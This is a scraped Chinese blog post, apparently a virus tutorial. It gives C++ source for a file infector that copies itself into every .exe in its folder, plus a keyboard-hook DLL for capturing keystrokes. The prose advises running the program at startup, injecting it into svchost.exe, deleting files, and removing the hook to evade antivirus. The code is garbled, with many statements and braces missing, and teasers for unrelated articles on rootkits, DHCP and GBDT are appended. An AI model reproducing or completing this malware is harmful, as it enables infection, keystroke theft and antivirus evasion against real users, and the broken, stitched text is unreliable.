#include #include #include using namespace std;
hmodule g_hmodule = null;
// 感染同目錄下的exe
void infection()
strcpy_s(szfilename, sizeof(szfilename), pchr + 1);
file *pselffile = null;
errno_t err = fopen_s(&pselffile, szfullfilename, "rb");
if (err)
fseek(pselffile, 0, seek_end);
int nmysize = ftell(pselffile);
fseek(pselffile, 0, seek_set);
// 把自己讀入記憶體
char *pszmyself = new char[nmysize];
if (!pszmyself)
memset(pszmyself, 0, nmysize);
fread(pszmyself, nmysize / 10, 10, pselffile);
// 取當前目錄,準備搜尋
char szdir[max_path] = "";
getcurrentdirectory(sizeof(szdir) / sizeof(char), szdir);
char szsearchfile[max_path] = "";
strcpy_s(szsearchfile, sizeof(szsearchfile), szdir);
strcat_s(szsearchfile, sizeof(szsearchfile), "\\*");
win32_find_data fd;
memset(&fd, 0, sizeof(win32_find_data));
handle hfile = findfirstfile(szsearchfile, &fd);
if (hfile == invalid_handle_value)
// 迴圈讀取exe檔案,開始感染
while(true)
if (strcmp(fd.cfilename, szfilename) == 0)
if (strstr(fd.cfilename, ".exe") != null)
else
}fclose(pselffile);
delete pszmyself;
}void createkeyboardhook()
typedef void (*hookfunc)();
hookfunc myhookfunc = (hookfunc)getprocaddress(g_hmodule, "sethook");
if (!myhookfunc)
myhookfunc();
}int main()
unhookfunc();
freelibrary(g_hmodule);
return 0;
}
#include extern "c" _declspec(dllexport) void sethook();
extern "c" _declspec(dllexport) void unhook();
hhook g_keyboardhook = null;
lresult callback keyboardhook(int ncode, wparam wparam, lparam lparam)
else if (0 == wparam)
return 1;
}void sethook()
void unhook()
以上兩個程式只是為了說明病毒的原理,其實,這只算是一段惡意的**,第一段**是主程式,編譯成exe,第二段**是dll檔案,先編譯一下dll檔案,把lib檔案放到主程式執行目錄下,把dll檔案放到病毒程式執行目錄下,就可以了
1、病毒若想要自動執行,很簡單,只要把我們的exe放入開始選單的啟動項就可以了,每次開機都會自動執行,如果高階點的話,就注入到別的程序裡去吧,如svchost.exe,具體實現,下次有時間再講解。
2、病毒感染,這是個很簡單的過程,就是開啟目標檔案,把病毒檔案乙個位元組乙個位元組的讀出來,然後寫入到目標檔案,這樣,目標檔案就擁有與病毒檔案相同的功能,也就是,如果目標是*.exe檔案,那麼,目標檔案執行後也會跟源病毒檔案做相同的事
3、病毒破壞作用,這個也很簡單,想破壞個東西還不容易嗎,刪除檔案就屬於破壞行為了。如果想監控客戶機,就安裝個鉤子吧,就像上面的**一樣,安裝了個鍵盤鉤子。
4、現在的計算機都安裝有防毒軟體,想要入侵怎麼辦?最簡單的辦法,就是寫個簡單的破壞軟體(這種軟體防毒軟體不會報,防毒軟體是個苦差啊,有些是不能報的),就像上面的那兩段**,去掉鉤子,防毒軟體就不會報了,接下來,就是簡單的破壞了,只要不是寫登錄檔,不安裝鉤子,不自動執行,殺軟一般都不會報,當然,這也是去了病毒程式最好玩的地方
rootkits病毒原理及解決辦法
rootkits病毒主要分為兩大類 第一種是程序注入式rootkits,另一種是驅動級rootkits。第一種rootkits技術通常通過釋放動態鏈結庫 dll 檔案,並將它們注入到可執行檔案及系統服務程序中執行,阻止作業系統及應用程式對被感染的檔案進行訪問。第二種rootkits技術比較複雜,在系...
DHCP工作原理及例項
dhcp dynamic host configuration protocol 動態主機配置協議,它 提供了一種動態指定ip位址和配置引數的機制 是一種用於簡化主機 ip 配置管理的 ip 標準。通過採用 dhcp 標準,可以使用 dhcp 伺服器為網路上啟用了 dhcp 的客戶端管理動態 ip ...
GBDT原理例項演示 1
考慮乙個簡單的例子來演示gbdt演算法原理 下面是乙個二分類問題,1表示可以考慮的相親物件,0表示不考慮的相親物件 特徵維度有3個維度,分別物件 身高,金錢,顏值 這個例子僅僅為了試驗,資料量很小沒有更多統計意義。0,1,2,3對應可以考慮的相親物件 4,5,6,7 對應不考慮的相親物件 先看一下g...